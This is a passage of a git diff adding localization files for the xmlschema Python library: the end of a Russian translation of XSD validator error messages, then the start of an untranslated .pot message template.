xmlschema/validators/simple_types.py:143 +msgid "one or more facets are not applicable, admitted set is {!r}" +msgstr "один или несколько наборов неприменимы, допустимый набор {!r}" + +#: xmlschema/validators/simple_types.py:149 +#, python-format +msgid "facet group must have the same base type: %r" +msgstr "группа наборов должна иметь один и тот же базовый тип: %r" + +#: xmlschema/validators/simple_types.py:159 +msgid "'length' value must be non a negative integer" +msgstr "Значение 'length' должно быть положительным целым числом" + +#: xmlschema/validators/simple_types.py:163 +msgid "'minLength' value must be less than or equal to 'length'" +msgstr "значение 'minLength' должно быть меньше или равно 'length'" + +#: xmlschema/validators/simple_types.py:170 +msgid "cannot specify both 'length' and 'minLength'" +msgstr "нельзя указывать одновременно 'length' и 'minLength'" + +#: xmlschema/validators/simple_types.py:175 +msgid "'maxLength' value must be greater or equal to 'length'" +msgstr "значение 'maxLength' должно быть больше или равно 'length'" + +#: xmlschema/validators/simple_types.py:183 +msgid "cannot specify both 'length' and 'maxLength'" +msgstr "нельзя указывать одновременно 'length' и 'maxLength'" + +#: xmlschema/validators/simple_types.py:192 +msgid "'minLength' value must be a non negative integer" +msgstr "значение 'minLength' должно быть положительным целым числом" + +#: xmlschema/validators/simple_types.py:195 +msgid "'maxLength' value is less than 'minLength'" +msgstr "значение 'maxLength' меньше чем 'maxLength'" + +#: xmlschema/validators/simple_types.py:198 +msgid "'minLength' has a lesser value than parent" +msgstr "'minLength' имеет меньшее значение, чем у родителя" + +#: xmlschema/validators/simple_types.py:201 +msgid "'minLength' has a greater value than parent 'maxLength'" +msgstr "'minLength' имеет большее значение, чем родительский 'maxLength'" + +#: xmlschema/validators/simple_types.py:206 +msgid "'maxLength' value must be a non negative integer" +msgstr "значение 'maxLength' должно быть не отрицательным целым числом" + +#: xmlschema/validators/simple_types.py:209 +msgid "'maxLength' has a lesser value than parent 'minLength'" +msgstr "'maxLength' имеет меньшее значение, чем родительский 'minLength'" + +#: xmlschema/validators/simple_types.py:212 +msgid "'maxLength' has a greater value than parent" +msgstr "'maxLength' имеет большее значение, чем у родителя" + +#: xmlschema/validators/simple_types.py:223 +msgid "cannot specify both 'minInclusive' and 'minExclusive'" +msgstr "нельзя указывать одновременно 'minInclusive' и 'minExclusive'" + +#: xmlschema/validators/simple_types.py:226 +msgid "'minInclusive' must be less or equal to 'maxInclusive'" +msgstr "'minInclusive' должен быть меньше или равен 'maxInclusive'" + +#: xmlschema/validators/simple_types.py:229 +msgid "'minInclusive' must be lesser than 'maxExclusive'" +msgstr "'minInclusive' должен быть меньше, чем 'maxExclusive'" + +#: xmlschema/validators/simple_types.py:234 +msgid "'minExclusive' must be lesser than 'maxInclusive'" +msgstr "'minExclusive' должен быть меньше, чем 'maxInclusive'" + +#: xmlschema/validators/simple_types.py:237 +msgid "'minExclusive' must be less or equal to 'maxExclusive'" +msgstr "'minExclusive' должен быть меньше или равен 'maxExclusive'" + +#: xmlschema/validators/simple_types.py:241 +msgid "cannot specify both 'maxInclusive' and 'maxExclusive'" +msgstr "нельзя указывать одновременно 'maxInclusive' и 'maxExclusive'" + +#: xmlschema/validators/simple_types.py:247 +msgid "" +"fractionDigits facet value cannot be lesser than the value of totalDigits " +"facet" +msgstr "" +"значение набора FractionDigits не может быть меньше значения набора " +"totalDigits" + +#: xmlschema/validators/simple_types.py:253 +msgid "" +"totalDigits facet value cannot be greater than the value of the same facet " +"in the base type" +msgstr "" +"значение набора totalDigits не может быть больше значения того же набора в " +"базовом типе" + +#: xmlschema/validators/simple_types.py:262 +#, python-format +msgid "" +"the explicitTimezone facet value cannot be changed if the base type has the " +"same facet with value %r" +msgstr "" +"значение набора absoluteTimezone не может быть изменено, если базовый тип " +"имеет тот же набор со значением %r" + +#: xmlschema/validators/simple_types.py:460 +msgid "a {0!r} or {1!r} object required" +msgstr "требуется объект {0!r} или {1!r}" + +#: xmlschema/validators/simple_types.py:615 +msgid "value is not an instance of {!r}" +msgstr "значение не является экземпляром {!r}" + +#: xmlschema/validators/simple_types.py:640 +#: xmlschema/validators/simple_types.py:753 +#: xmlschema/validators/simple_types.py:1107 +msgid "invalid value {!r}" +msgstr "неверное значение {!r}" + +#: xmlschema/validators/simple_types.py:665 +#, python-format +msgid "unmapped prefix %r in a QName" +msgstr "несопоставленный префикс %r в QName" + +#: xmlschema/validators/simple_types.py:699 +#: xmlschema/validators/simple_types.py:711 +msgid "duplicated xs:ID value {!r}" +msgstr "дублированное значение xs:ID {!r}" + +#: xmlschema/validators/simple_types.py:706 +msgid "no more than one attribute of type ID should be present in an element" +msgstr "в элементе должно присутствовать не более одного атрибута типа ID" + +#: xmlschema/validators/simple_types.py:731 +msgid "boolean value {0!r} requires a {1!r} decoder" +msgstr "логическое значение {0!r} требует декодера {1!r}" + +#: xmlschema/validators/simple_types.py:736 +msgid "{0!r} is not an instance of {1!r}" +msgstr "{0!r} не является экземпляром {1!r}" + +#: xmlschema/validators/simple_types.py:824 +#, python-format +msgid "%r: a list must be based on atomic data types" +msgstr "%r: список должен быть основан на атомарных типах данных" + +#: xmlschema/validators/simple_types.py:843 +msgid "ambiguous list type declaration" +msgstr "неоднозначное объявление типа списка" + +#: xmlschema/validators/simple_types.py:851 +msgid "missing list type declaration" +msgstr "отсутствующее объявление типа списка" + +#: xmlschema/validators/simple_types.py:864 +msgid "circular definition found for type {!r}" +msgstr "циклическое определение найдено для типа {!r}" + +#: xmlschema/validators/simple_types.py:869 +#, python-format +msgid "'final' value of the itemType %r forbids derivation by list" +msgstr "'final' значение itemType %r запрещает вывод по списку" + +#: xmlschema/validators/simple_types.py:873 +#: xmlschema/validators/simple_types.py:1048 +#: xmlschema/validators/simple_types.py:1335 +msgid "cannot use xs:anyAtomicType as base type of a user-defined type" +msgstr "" +"нельзя использовать xs:anyAtomicType в качестве базового типа определяемого " +"пользователем типа" + +#: xmlschema/validators/simple_types.py:996 +#, python-format +msgid "wrong value %r for attribute 'white_space'" +msgstr "неправильное значение %r для атрибута 'white_space'" + +#: xmlschema/validators/simple_types.py:1031 +msgid "circular definition found on xs:union type {!r}" +msgstr "циклическое определение найдено в xs:union type {!r}" + +#: xmlschema/validators/simple_types.py:1035 +msgid "a {0!r} required, not {1!r}" +msgstr "требуется {0!r}, а не {1!r}" + +#: xmlschema/validators/simple_types.py:1039 +#, python-format +msgid "'final' value of the memberTypes %r forbids derivation by union" +msgstr "'final' значение memberTypes %r запрещает наследование объединением" + +#: xmlschema/validators/simple_types.py:1045 +msgid "missing xs:union type declarations" +msgstr "отсутствуют объявления типа xs:union" + +#: xmlschema/validators/simple_types.py:1128 +#, python-format +msgid "no type suitable for decoding the values %r" +msgstr "нет типа, подходящего для декодирования значений %r" + +#: xmlschema/validators/simple_types.py:1162 +msgid "no type suitable for encoding the object" +msgstr "нет типа, подходящего для кодирования объекта" + +#: xmlschema/validators/simple_types.py:1210 +msgid "'name' attribute in a local simpleType definition" +msgstr "атрибут 'name' в локальном определении simpleType" + +#: xmlschema/validators/simple_types.py:1252 +#, python-format +msgid "wrong base type %r, an atomic type required" +msgstr "неправильный базовый тип %r, требуется атомарный тип" + +#: xmlschema/validators/simple_types.py:1258 +msgid "an xs:simpleType definition expected" +msgstr "ожидается определение xs:simpleType" + +#: xmlschema/validators/simple_types.py:1263 +msgid "" +"when a complexType with simpleContent restricts a complexType with mixed and " +"with emptiable content then a simpleType child declaration is required" +msgstr "" +"когда комплексный тип с простым контентом ограничивает сложный тип со " +"смешанным и с очищаемым содержимым, тогда требуется объявление дочернего " +"элемента простого типа" + +#: xmlschema/validators/simple_types.py:1268 +#, python-format +msgid "simpleType restriction of %r is not allowed" +msgstr "Ограничение simpleType %r не разрешено" + +#: xmlschema/validators/simple_types.py:1277 +msgid "unexpected tag after attribute declarations" +msgstr "неожиданный тег после объявлений атрибутов" + +#: xmlschema/validators/simple_types.py:1282 +msgid "duplicated simpleType declaration" +msgstr "дублированное объявление simpleType" + +#: xmlschema/validators/simple_types.py:1304 +msgid "restriction with 'base' attribute and simpleType declaration" +msgstr "ограничение с атрибутом base и объявлением simpleType" + +#: xmlschema/validators/simple_types.py:1312 +#, python-format +msgid "unexpected tag %r in restriction" +msgstr "неожиданный тег %r в ограничении" + +#: xmlschema/validators/simple_types.py:1318 +#, python-format +msgid "multiple %r constraint facet" +msgstr "несколько %r ограничений набора" + +#: xmlschema/validators/simple_types.py:1330 +msgid "missing base type in restriction" +msgstr "отсутствует базовый тип в ограничении" + +#: xmlschema/validators/simple_types.py:1332 +#, python-format +msgid "'final' value of the baseType %r forbids derivation by restriction" +msgstr "'final' значение baseType %r запрещает вывод по ограничению" + +#: xmlschema/validators/simple_types.py:1381 +#: xmlschema/validators/simple_types.py:1430 +#, python-format +msgid "" +"wrong base type %r: a simpleType or a complexType with simple or mixed " +"content required" +msgstr "" +"неправильный базовый тип %r: требуется simpleType или complexType с простым " +"или смешанным содержимым" + +#: xmlschema/validators/identities.py:86 +msgid "'xpath' attribute required" +msgstr "обязательный атрибут 'xpath'" + +#: xmlschema/validators/identities.py:98 +msgid "invalid XPath expression for an {}" +msgstr "недопустимое выражение XPath для {}" + +#: xmlschema/validators/identities.py:182 +msgid "missing required attribute 'name'" +msgstr "отсутствует обязательный атрибут 'name'" + +#: xmlschema/validators/identities.py:190 +msgid "missing 'selector' declaration" +msgstr "отсутствует объявление 'selector'" + +#: xmlschema/validators/identities.py:202 +msgid "unknown identity constraint {!r}" +msgstr "неизвестное ограничение идентификации {!r}" + +#: xmlschema/validators/identities.py:207 +msgid "attribute 'ref' points to a different kind constraint" +msgstr "атрибут 'ref' указывает на ограничение другого вида" + +#: xmlschema/validators/identities.py:296 +msgid "missing key field {0!r} for {1!r}" +msgstr "отсутствует ключевое поле {0!r} для {1!r}" + +#: xmlschema/validators/identities.py:304 +#, python-format +msgid "%r field doesn't have a simple type!" +msgstr "поле %r не имеет простого типа!" + +#: xmlschema/validators/identities.py:325 +#, python-format +msgid "%r field selects multiple values!" +msgstr "поле %r выбирает несколько значений!" + +#: xmlschema/validators/identities.py:359 +msgid "missing required attribute 'refer'" +msgstr "отсутствует обязательный атрибут 'refer'" + +#: xmlschema/validators/identities.py:381 +#, python-format +msgid "key/unique identity constraint %r is missing" +msgstr "ограничение ключа/уникального удостоверения %r отсутствует" + +#: xmlschema/validators/identities.py:386 +#, python-format +msgid "reference to a non key/unique identity constraint %r" +msgstr "ссылка на не ключевое/уникальное ограничение идентификации %r" + +#: xmlschema/validators/identities.py:389 +msgid "field cardinality mismatch between {0!r} and {1!r}" +msgstr "несоответствие поля между {0!r} и {1!r}" + +#: xmlschema/validators/identities.py:459 +msgid "duplicated value {0!r} for {1!r}" +msgstr "дублированное значение {0!r} для {1!r}" + +#: xmlschema/validators/xsdbase.py:51 +#, python-format +msgid "validation mode can be 'strict', 'lax' or 'skip': %r" +msgstr "режим проверки может быть 'strict', 'lax' или 'skip': %r" + +#: xmlschema/validators/xsdbase.py:254 +msgid "" +"wrong value {0!r} for 'xpathDefaultNamespace' attribute, can be (anyURI | " +"{1})." +msgstr "" +"неправильное значение {0!r} для атрибута 'xpathDefaultNamespace', может быть " +"(anyURI | {1})." + +#: xmlschema/validators/xsdbase.py:405 +#, python-format +msgid "missing attribute 'name' in a global %r" +msgstr "отсутствует атрибут 'name' в глобальном %r" + +#: xmlschema/validators/xsdbase.py:408 +#, python-format +msgid "missing both attributes 'name' and 'ref' in local %r" +msgstr "отсутствуют оба атрибута 'name' и 'ref' в локальном %r" + +#: xmlschema/validators/xsdbase.py:411 +msgid "attributes 'name' and 'ref' are mutually exclusive" +msgstr "атрибуты 'name' и 'ref' являются взаимоисключающими" + +#: xmlschema/validators/xsdbase.py:414 +#, python-format +msgid "attribute 'ref' not allowed in a global %r" +msgstr "атрибут 'ref' не разрешен в глобальном %r" + +#: xmlschema/validators/xsdbase.py:423 +msgid "a reference component cannot have child definitions/declarations" +msgstr "ссылочный компонент не может иметь дочерних определений/объявлений" + +#: xmlschema/validators/xsdbase.py:438 +msgid "too many XSD components, unexpected {0!r} found at position {1}" +msgstr "слишком много компонентов XSD, неожиданный {0!r} найден в позиции {1}" + +#: xmlschema/validators/xsdbase.py:454 +msgid "" +"attribute 'name' must be present when 'targetNamespace' attribute is provided" +msgstr "" +"атрибут 'name' должен присутствовать, когда предоставляется атрибут " +"'targetNamespace'" + +#: xmlschema/validators/xsdbase.py:458 +msgid "" +"attribute 'form' must be absent when 'targetNamespace' attribute is provided" +msgstr "" +"атрибут 'form' должен отсутствовать, если указан атрибут 'targetNamespace'" + +#: xmlschema/validators/xsdbase.py:463 +#, python-format +msgid "a global %s must have the same namespace as its parent schema" +msgstr "" +"глобальный %s должен иметь то же пространство имен, что и его родительская " +"схема" + +#: xmlschema/validators/xsdbase.py:471 +msgid "" +"a declaration contained in a global complexType must have the same namespace " +"as its parent schema" +msgstr "" +"объявление, содержащееся в глобальном комплексном типе, должно иметь то же " +"пространство имен, что и его родительская схема" + +#: xmlschema/validators/xsdbase.py:591 +msgid "parent circularity from {}" +msgstr "родитель зациклен из {}" + +#: xmlschema/validators/helpers.py:44 +#, python-format +msgid "wrong value %r for attribute %r" +msgstr "неверное значение %r для атрибута %r" + +#: xmlschema/validators/helpers.py:59 +msgid "value is not a valid xs:decimal" +msgstr "значение неверно для типа xs:decimal" + +#: xmlschema/validators/helpers.py:65 +msgid "value is not an xs:QName" +msgstr "значение не xs:QName" + +#: xmlschema/validators/helpers.py:71 xmlschema/validators/helpers.py:77 +#: xmlschema/validators/helpers.py:83 xmlschema/validators/helpers.py:89 +#: xmlschema/validators/helpers.py:95 xmlschema/validators/helpers.py:101 +#: xmlschema/validators/helpers.py:107 xmlschema/validators/helpers.py:113 +msgid "value must be {:s}" +msgstr "значение должно быть {:s}" + +#: xmlschema/validators/helpers.py:119 +msgid "value must be negative" +msgstr "значение должно быть отрицательным" + +#: xmlschema/validators/helpers.py:125 +msgid "value must be positive" +msgstr "значение должно быть положительным" + +#: xmlschema/validators/helpers.py:131 +msgid "value must be non positive" +msgstr "значение не должно быть положительным" + +#: xmlschema/validators/helpers.py:137 +msgid "value must be non negative" +msgstr "значение не должно быть отрицательным" + +#: xmlschema/validators/helpers.py:144 +msgid "not an hexadecimal number" +msgstr "не шестнадцатеричное число" + +#: xmlschema/validators/helpers.py:157 +msgid "not a base64 encoding" +msgstr "не закодировано в base64" + +#: xmlschema/validators/helpers.py:162 +msgid "no value is allowed for xs:error type" +msgstr "значение недоступно для типа xs:error" + +#: xmlschema/validators/helpers.py:174 +msgid "{!r} is not a boolean value" +msgstr "{!r} не булево значение" + +#~ msgid "invalid" +#~ msgstr "невалидный" diff --git a/xmlschema/locale/xmlschema.pot b/xmlschema/locale/xmlschema.pot new file mode 100644 index 0000000..65d8a70 --- /dev/null +++ b/xmlschema/locale/xmlschema.pot @@ -0,0 +1,1721 @@ +# SOME DESCRIPTIVE TITLE. +# Copyright (C) YEAR , 2016, SISSA (International School for Advanced Studies). +# This file is distributed under the same license as the xmlschema package. +# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR. +# +#, fuzzy +msgid "" +msgstr "" +"Project-Id-Version: xmlschema\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2022-05-12 17:25+0200\n" +"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" +"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n" +"Language-Team: LANGUAGE <LL@li.org>\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#: xmlschema/validators/complex_types.py:134 +msgid "missing attribute 'name' in a global complexType" +msgstr "" + +#: xmlschema/validators/complex_types.py:139 +msgid "attribute 'name' not allowed in a local complexType" +msgstr "" + +#: xmlschema/validators/complex_types.py:162 +msgid "'mixed' attribute not allowed with simpleContent" +msgstr "" + +#: xmlschema/validators/complex_types.py:177 +#, python-format +msgid "unexpected tag %r after simpleContent declaration:" +msgstr "" + +#: xmlschema/validators/complex_types.py:188 +msgid "" +"value of 'mixed' attribute in complexType and complexContent must be the same" +msgstr "" + +#: xmlschema/validators/complex_types.py:208 +#, python-format +msgid "unexpected tag %r after complexContent declaration" +msgstr "" + +#: xmlschema/validators/complex_types.py:232 +#, python-format +msgid "unexpected tag %r for complexType content" +msgstr "" + +#: xmlschema/validators/complex_types.py:240 +#: xmlschema/validators/simple_types.py:1227 +msgid "wrong definition with self-reference" +msgstr "" + +#: xmlschema/validators/complex_types.py:243 +#: xmlschema/validators/simple_types.py:1234 +msgid "wrong redefinition without self-reference" +msgstr "" + +#: xmlschema/validators/complex_types.py:254 +msgid "restriction or extension tag expected" +msgstr "" + +#: xmlschema/validators/complex_types.py:261 +msgid "{!r} is expected to have a redefined/overridden component" +msgstr "" + +#: xmlschema/validators/complex_types.py:266 +msgid "{0!r} derivation not allowed for {1!r}" +msgstr "" + +#: xmlschema/validators/complex_types.py:276 +msgid "'base' attribute required" +msgstr "" + +#: xmlschema/validators/complex_types.py:285 +#, python-format +msgid "missing base type %r" +msgstr "" + +#: xmlschema/validators/complex_types.py:293 +#: xmlschema/validators/simple_types.py:1247 +msgid "circular definition found between {0!r} and {1!r}" +msgstr "" + +#: xmlschema/validators/complex_types.py:297 +#: xmlschema/validators/complex_types.py:311 +msgid "a complexType ancestor required: {!r}" +msgstr "" + +#: xmlschema/validators/complex_types.py:302 +#, python-format +msgid "derivation by %r blocked by attribute 'final' in base type" +msgstr "" + +#: xmlschema/validators/complex_types.py:319 +msgid "a not empty simpleContent cannot restrict an empty content type" +msgstr "" + +#: xmlschema/validators/complex_types.py:326 +msgid "content type is not a restriction of base content" +msgstr "" + +#: xmlschema/validators/complex_types.py:332 +msgid "with simpleContent cannot restrict an element-only content type" +msgstr "" + +#: xmlschema/validators/complex_types.py:344 xmlschema/validators/groups.py:478 +#, python-format +msgid "unexpected tag %r" +msgstr "" + +#: xmlschema/validators/complex_types.py:354 +#, python-format +msgid "base type %r has no simple content" +msgstr "" + +#: xmlschema/validators/complex_types.py:362 +msgid "the base type is not derivable by restriction" +msgstr "" + +#: xmlschema/validators/complex_types.py:365 +#: xmlschema/validators/complex_types.py:458 +#: xmlschema/validators/complex_types.py:896 +#, python-format +msgid "base %r is simple or has a simple content" +msgstr "" + +#: xmlschema/validators/complex_types.py:377 +#, python-brace-format +msgid "" +"restriction of an xs:{0} with more than one particle with xs:{1} is forbidden" +msgstr "" + +#: xmlschema/validators/complex_types.py:389 +msgid "derived a mixed content from a base type that has element-only content" +msgstr "" + +#: xmlschema/validators/complex_types.py:392 +msgid "an empty content derivation from base type that has not empty content" +msgstr "" + +#: xmlschema/validators/complex_types.py:403 +msgid "{0!r} is not a restriction of the base type {1!r}" +msgstr "" + +#: xmlschema/validators/complex_types.py:412 +#: xmlschema/validators/complex_types.py:901 +msgid "the base type is not derivable by extension" +msgstr "" + +#: xmlschema/validators/complex_types.py:445 +#: xmlschema/validators/complex_types.py:952 +#: xmlschema/validators/complex_types.py:1002 +#, python-format +msgid "" +"base has a different content type (mixed=%r) and the extension group is not " +"empty." +msgstr "" + +#: xmlschema/validators/complex_types.py:465 +msgid "cannot extend a complex content with xs:all" +msgstr "" + +#: xmlschema/validators/complex_types.py:468 +msgid "xs:sequence cannot extend xs:all" +msgstr "" + +#: xmlschema/validators/complex_types.py:478 +msgid "XSD 1.0 does not allow extension of a not empty 'all' model group" +msgstr "" + +#: xmlschema/validators/complex_types.py:481 +#, python-format +msgid "" +"base has a different content type (mixed=%r) and the extension group is not " +"empty" +msgstr "" + +#: xmlschema/validators/complex_types.py:495 +#: xmlschema/validators/complex_types.py:1017 +msgid "extended type has a mixed content but the base is element-only" +msgstr "" + +#: xmlschema/validators/complex_types.py:655 +msgid "global type {!r} is not built" +msgstr "" + +#: xmlschema/validators/complex_types.py:721 +#: xmlschema/validators/complex_types.py:746 +#, python-format +msgid "cannot decode %(obj)r data with %(decoder)r" +msgstr "" + +#: xmlschema/validators/complex_types.py:847 +msgid "the simple content of {!r} is not a valid simple type in XSD 1.1" +msgstr "" + +#: xmlschema/validators/complex_types.py:854 +msgid "openContent mismatch between type and model group" +msgstr "" + +#: xmlschema/validators/complex_types.py:869 +#, python-format +msgid "attribute %r must be inheritable" +msgstr "" + +#: xmlschema/validators/complex_types.py:885 +msgid "default attribute {!r} is already declared in the complex type" +msgstr "" + +#: xmlschema/validators/complex_types.py:956 +msgid "cannot extend an empty mixed content with an xs:all" +msgstr "" + +#: xmlschema/validators/complex_types.py:974 +#, python-format +msgid "xs:all cannot extend a not empty xs:%s" +msgstr "" + +#: xmlschema/validators/complex_types.py:989 +msgid "cannot extend a not empty 'all' model group with a different model" +msgstr "" + +#: xmlschema/validators/complex_types.py:992 +msgid "when extend an xs:all group minOccurs must be the same" +msgstr "" + +#: xmlschema/validators/complex_types.py:995 +msgid "cannot extend an xs:all group with mixed empty content" +msgstr "" + +#: xmlschema/validators/complex_types.py:1035 +msgid "{0!r} is not an extension of the base type {1!r}" +msgstr "" + +#: xmlschema/validators/notations.py:39 +msgid "a notation declaration must be global" +msgstr "" + +#: xmlschema/validators/notations.py:43 +msgid "a notation must have a 'name' attribute" +msgstr "" + +#: xmlschema/validators/notations.py:46 +msgid "a notation must have a 'public' or a 'system' attribute" +msgstr "" + +#: xmlschema/validators/particles.py:122 +msgid "minOccurs value is not an integer value" +msgstr "" + +#: xmlschema/validators/particles.py:126 +msgid "minOccurs value must be a non negative integer" +msgstr "" + +#: xmlschema/validators/particles.py:134 +msgid "minOccurs must be lesser or equal than maxOccurs" +msgstr "" + +#: xmlschema/validators/particles.py:142 +msgid "maxOccurs value must be a non negative integer or 'unbounded'" +msgstr "" + +#: xmlschema/validators/particles.py:146 +msgid "maxOccurs must be 'unbounded' or greater than minOccurs" +msgstr "" + +#: xmlschema/validators/assertions.py:76 +msgid "base_type={!r} is not a complexType definition" +msgstr "" + +#: xmlschema/validators/elements.py:162 +#, python-format +msgid "unknown element %r" +msgstr "" + +#: xmlschema/validators/elements.py:179 +msgid "attribute {!r} is not allowed when element reference is used" +msgstr "" + +#: xmlschema/validators/elements.py:200 +msgid "local scope elements cannot have abstract attribute" +msgstr "" + +#: xmlschema/validators/elements.py:227 +msgid "attribute {!r} is not allowed in a global element declaration" +msgstr "" + +#: xmlschema/validators/elements.py:232 +msgid "attribute {!r} not allowed in a local element declaration" +msgstr "" + +#: xmlschema/validators/elements.py:250 xmlschema/validators/elements.py:1460 +#: xmlschema/validators/simple_types.py:859 +#: xmlschema/validators/simple_types.py:1024 +#: xmlschema/validators/simple_types.py:1240 +msgid "unknown type {!r}" +msgstr "" + +#: xmlschema/validators/elements.py:255 +msgid "" +"the attribute 'type' and a xs:{} local declaration are mutually exclusive" +msgstr "" + +#: xmlschema/validators/elements.py:274 xmlschema/validators/attributes.py:165 +msgid "'default' and 'fixed' attributes are mutually exclusive" +msgstr "" + +#: xmlschema/validators/elements.py:278 +msgid "'default' value {!r} is not compatible with element's type" +msgstr "" + +#: xmlschema/validators/elements.py:282 +msgid "xs:ID or a type derived from xs:ID cannot have a default value" +msgstr "" + +#: xmlschema/validators/elements.py:288 +msgid "'fixed' value {!r} is not compatible with element's type" +msgstr "" + +#: xmlschema/validators/elements.py:292 +msgid "xs:ID or a type derived from xs:ID cannot have a fixed value" +msgstr "" + +#: xmlschema/validators/elements.py:311 xmlschema/validators/elements.py:319 +#, python-format +msgid "duplicated identity constraint %r:" +msgstr "" + +#: xmlschema/validators/elements.py:341 +#, python-format +msgid "unknown substitutionGroup %r" +msgstr "" + +#: xmlschema/validators/elements.py:346 +#, python-format +msgid "circularity found for substitutionGroup %r" +msgstr "" + +#: xmlschema/validators/elements.py:361 +msgid "" +"{0!r} type is not of the same or a derivation of the head element {1!r} type" +msgstr "" + +#: xmlschema/validators/elements.py:365 +#, python-format +msgid "" +"head element %r can't be substituted by an element that has a derivation of " +"its type" +msgstr "" + +#: xmlschema/validators/elements.py:369 +#, python-format +msgid "" +"head element %r can't be substituted by an element that has an extension of " +"its type" +msgstr "" + +#: xmlschema/validators/elements.py:373 +#, python-format +msgid "" +"head element %r can't be substituted by an element that has a restriction of " +"its type" +msgstr "" + +#: xmlschema/validators/elements.py:547 +msgid "schemaLocation declaration after namespace start" +msgstr "" + +#: xmlschema/validators/elements.py:556 +#, python-format +msgid "missing dynamic loaded schema from %s" +msgstr "" + +#: xmlschema/validators/elements.py:559 +msgid "dynamic loaded schema change the assessment" +msgstr "" + +#: xmlschema/validators/elements.py:610 +msgid "cannot use an abstract element for validation" +msgstr "" + +#: xmlschema/validators/elements.py:667 xmlschema/validators/identities.py:219 +msgid "selector xpath expression can only select elements" +msgstr "" + +#: xmlschema/validators/elements.py:673 +#, python-format +msgid "usage of %r is blocked" +msgstr "" + +#: xmlschema/validators/elements.py:677 +#, python-format +msgid "%r is abstract" +msgstr "" + +#: xmlschema/validators/elements.py:705 +msgid "element is not nillable" +msgstr "" + +#: xmlschema/validators/elements.py:708 +msgid "xsi:nil attribute must have a boolean value" +msgstr "" + +#: xmlschema/validators/elements.py:713 +msgid "xsi:nil='true' but the element has a fixed value" +msgstr "" + +#: xmlschema/validators/elements.py:716 +msgid "xsi:nil='true' but the element is not empty" +msgstr "" + +#: xmlschema/validators/elements.py:722 +msgid "character data is not allowed because content is empty" +msgstr "" + +#: xmlschema/validators/elements.py:744 xmlschema/validators/elements.py:760 +#, python-format +msgid "must have the fixed value %r" +msgstr "" + +#: xmlschema/validators/elements.py:749 +msgid "a simple content element can't have child elements" +msgstr "" + +#: xmlschema/validators/elements.py:778 xmlschema/validators/attributes.py:237 +msgid "" +"cannot validate against xs:NOTATION directly, only against a subtype with an " +"enumeration facet" +msgstr "" + +#: xmlschema/validators/elements.py:782 xmlschema/validators/attributes.py:241 +msgid "missing enumeration facet in xs:NOTATION subtype" +msgstr "" + +#: xmlschema/validators/elements.py:1245 +msgid "test attribute missing in non-final alternative" +msgstr "" + +#: xmlschema/validators/elements.py:1370 +msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}" +msgstr "" + +#: xmlschema/validators/elements.py:1446 +msgid "missing 'type' attribute" +msgstr "" + +#: xmlschema/validators/elements.py:1454 +msgid "declared type is not derived from {!r}" +msgstr "" + +#: xmlschema/validators/elements.py:1464 +msgid "type {0!r} is not derived from {1!r}" +msgstr "" + +#: xmlschema/validators/elements.py:1469 +#, python-format +msgid "" +"the attribute 'type' and the xs:%s local declaration are mutually exclusive" +msgstr "" + +#: xmlschema/validators/global_maps.py:77 +msgid "global {0} with name={1!r} is already defined" +msgstr "" + +#: xmlschema/validators/global_maps.py:90 +msgid "multiple redefinition for {0} {1!r}" +msgstr "" + +#: xmlschema/validators/global_maps.py:102 +msgid "circular redefinition for {0} {1!r}" +msgstr "" + +#: xmlschema/validators/global_maps.py:117 +msgid "not a redefinition!" +msgstr "" + +#: xmlschema/validators/global_maps.py:234 +msgid "wrong tag {!r} for an XSD global definition/declaration" +msgstr "" + +#: xmlschema/validators/global_maps.py:313 +#: xmlschema/validators/global_maps.py:330 +msgid "wrong element {0!r} for map {1!r}" +msgstr "" + +#: xmlschema/validators/global_maps.py:339 +msgid "redefined schema {!r} has a different targetNamespace" +msgstr "" + +#: xmlschema/validators/global_maps.py:350 +msgid "unexpected instance {!r} in global map" +msgstr "" + +#: xmlschema/validators/global_maps.py:382 +msgid "{0!r} cannot substitute {1!r}" +msgstr "" + +#: xmlschema/validators/global_maps.py:578 +msgid "missing XSD namespace in meta-schema instance {!r}" +msgstr "" + +#: xmlschema/validators/global_maps.py:587 +msgid "missing default meta-schema instance {!r}" +msgstr "" + +#: xmlschema/validators/global_maps.py:639 +msgid "defaultAttributes={0!r} doesn't match any attribute group of {1!r}" +msgstr "" + +#: xmlschema/validators/global_maps.py:682 +msgid "global element not built!" +msgstr "" + +#: xmlschema/validators/global_maps.py:684 +msgid "circularity found for substitution group with head element {}" +msgstr "" + +#: xmlschema/validators/global_maps.py:689 +#, python-format +msgid "global map has unbuilt components: %r" +msgstr "" + +#: xmlschema/validators/global_maps.py:694 +msgid "global group not built!" +msgstr "" + +#: xmlschema/validators/global_maps.py:701 +msgid "the redefined group is an illegal restriction" +msgstr "" + +#: xmlschema/validators/global_maps.py:717 +msgid "the derived group is an illegal restriction" +msgstr "" + +#: xmlschema/validators/global_maps.py:727 +msgid "restriction has an open content but base type has not" +msgstr "" + +#: xmlschema/validators/global_maps.py:733 +msgid "" +"can't verify the content model of {!r} due to exceeding of maximum recursion " +"depth" +msgstr "" + +#: xmlschema/validators/facets.py:63 +msgid "invalid type {!r} provided" +msgstr "" + +#: xmlschema/validators/facets.py:84 +msgid "{0!r} facet value is fixed to {1!r}" +msgstr "" + +#: xmlschema/validators/facets.py:135 xmlschema/validators/facets.py:138 +msgid "facet value can be only 'collapse'" +msgstr "" + +#: xmlschema/validators/facets.py:140 +msgid "facet value can be only 'replace' or 'collapse'" +msgstr "" + +#: xmlschema/validators/facets.py:145 +msgid "value contains tabs or newlines" +msgstr "" + +#: xmlschema/validators/facets.py:151 +msgid "value contains non collapsed white spaces" +msgstr "" + +#: xmlschema/validators/facets.py:175 +msgid "base facet has a different length ({})" +msgstr "" + +#: xmlschema/validators/facets.py:185 +msgid "length has to be {!r}" +msgstr "" + +#: xmlschema/validators/facets.py:209 +msgid "base facet has a greater min length ({})" +msgstr "" + +#: xmlschema/validators/facets.py:219 +msgid "value length cannot be lesser than {!r}" +msgstr "" + +#: xmlschema/validators/facets.py:243 +msgid "base type has a lesser max length ({})" +msgstr "" + +#: xmlschema/validators/facets.py:253 +msgid "value length cannot be greater than {!r}" +msgstr "" + +#: xmlschema/validators/facets.py:276 xmlschema/validators/facets.py:307 +#: 